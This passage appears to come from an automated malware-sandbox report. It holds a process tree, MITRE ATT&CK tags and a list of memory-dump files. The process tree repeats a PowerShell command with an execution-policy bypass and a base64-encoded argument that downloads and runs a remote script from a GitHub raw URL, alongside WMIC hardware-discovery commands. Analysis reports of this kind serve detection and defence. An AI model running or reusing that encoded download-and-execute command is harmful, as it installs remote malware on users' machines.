  wmic path win32_VideoController get name
  2⤵
  PID:772

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3548
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:2784

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:2324
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1564
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:920

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/920-438-0x0000016678DA8000-0x0000016678DA9000-memory.dmp

Filesize
4KB

Download
memory/920-387-0x0000016678DA6000-0x0000016678DA8000-memory.dmp

Filesize
8KB

Download
memory/920-381-0x0000016678DA3000-0x0000016678DA5000-memory.dmp

Filesize
8KB

Download
memory/920-379-0x0000016678DA0000-0x0000016678DA2000-memory.dmp

Filesize
8KB

Download
memory/1244-157-0x000002D9464D8000-0x000002D9464D9000-memory.dmp

Filesize
4KB

Download
memory/1244-132-0x000002D95ED40000-0x000002D95ED41000-memory.dmp

Filesize
4KB

Download
memory/1244-129-0x000002D946970000-0x000002D946971000-memory.dmp

Filesize
4KB

Download
memory/1244-128-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-149-0x000002D95ECF0000-0x000002D95ECF1000-memory.dmp

Filesize
4KB

Download
memory/1244-127-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-151-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-155-0x000002D9600E0000-0x000002D9600E1000-memory.dmp

Filesize
4KB

Download
memory/1244-156-0x000002D960470000-0x000002D960471000-memory.dmp

Filesize
4KB

Download
memory/1244-135-0x000002D9464D3000-0x000002D9464D5000-memory.dmp

Filesize
8KB

Download
memory/1244-158-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-159-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-131-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-130-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-136-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-126-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-140-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-141-0x000002D9464D6000-0x000002D9464D8000-memory.dmp

Filesize
8KB

Download
memory/1244-125-0x000002D946440000-0x000002D946442000-memory.dmp

Filesize
8KB

Download
memory/1244-134-0x000002D9464D0000-0x000002D9464D2000-memory.dmp

Filesize
8KB

Download
memory/1656-216-0x0000016FFA248000-0x0000016FFA24A000-memory.dmp

Filesize
8KB

Download
memory/1656-198-0x0000016FFA246000-0x0000016FFA248000-memory.dmp

Filesize
8KB

Download
memory/1656-174-0x0000016FFA240000-0x0000016FFA242000-memory.dmp

Filesize
8KB

Download
memory/1656-175-0x0000016FFA243000-0x0000016FFA245000-memory.dmp

Filesize
8KB

Download
memory/1656-176-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/1656-169-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/1656-168-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/1656-172-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/1656-166-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/1656-171-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/1656-167-0x0000016FF87E0000-0x0000016FF87E2000-memory.dmp

Filesize
8KB

Download
memory/2708-263-0x0000012467380000-0x0000012467382000-memory.dmp

Filesize
8KB

Download
memory/2708-293-0x0000012467388000-0x000001246738A000-memory.dmp

Filesize
8KB

Download
memory/2708-264-0x0000012467383000-0x0000012467385000-memory.dmp

Filesize
8KB

Download
memory/2708-261-0x0000012467386000-0x0000012467388000-memory.dmp

Filesize
8KB

Download
memory/3596-218-0x000001FB3C6E3000-0x000001FB3C6E5000-memory.dmp

Filesize
8KB

Download
memory/3596-260-0x000001FB3C6E6000-0x000001FB3C6E8000-memory.dmp

Filesize
8KB

Download
memory/3596-262-0x000001FB3C6E8000-0x000001FB3C6EA000-memory.dmp

Filesize
8KB

Download
memory/3596-217-0x000001FB3C6E0000-0x000001FB3C6E2000-memory.dmp

Filesize
8KB

Download
memory/3724-123-0x000002CB770F6000-0x000002CB770F7000-memory.dmp

Filesize
4KB

Download
memory/3724-118-0x000002CB77390000-0x000002CB7761B000-memory.dmp

Filesize
2.5MB

Download
memory/3724-122-0x000002CB770F5000-0x000002CB770F6000-memory.dmp

Filesize
4KB

Download
memory/3724-120-0x000002CB770F0000-0x000002CB770F2000-memory.dmp

Filesize
8KB

Download
memory/3724-121-0x000002CB770F3000-0x000002CB770F5000-memory.dmp

Filesize
8KB

Download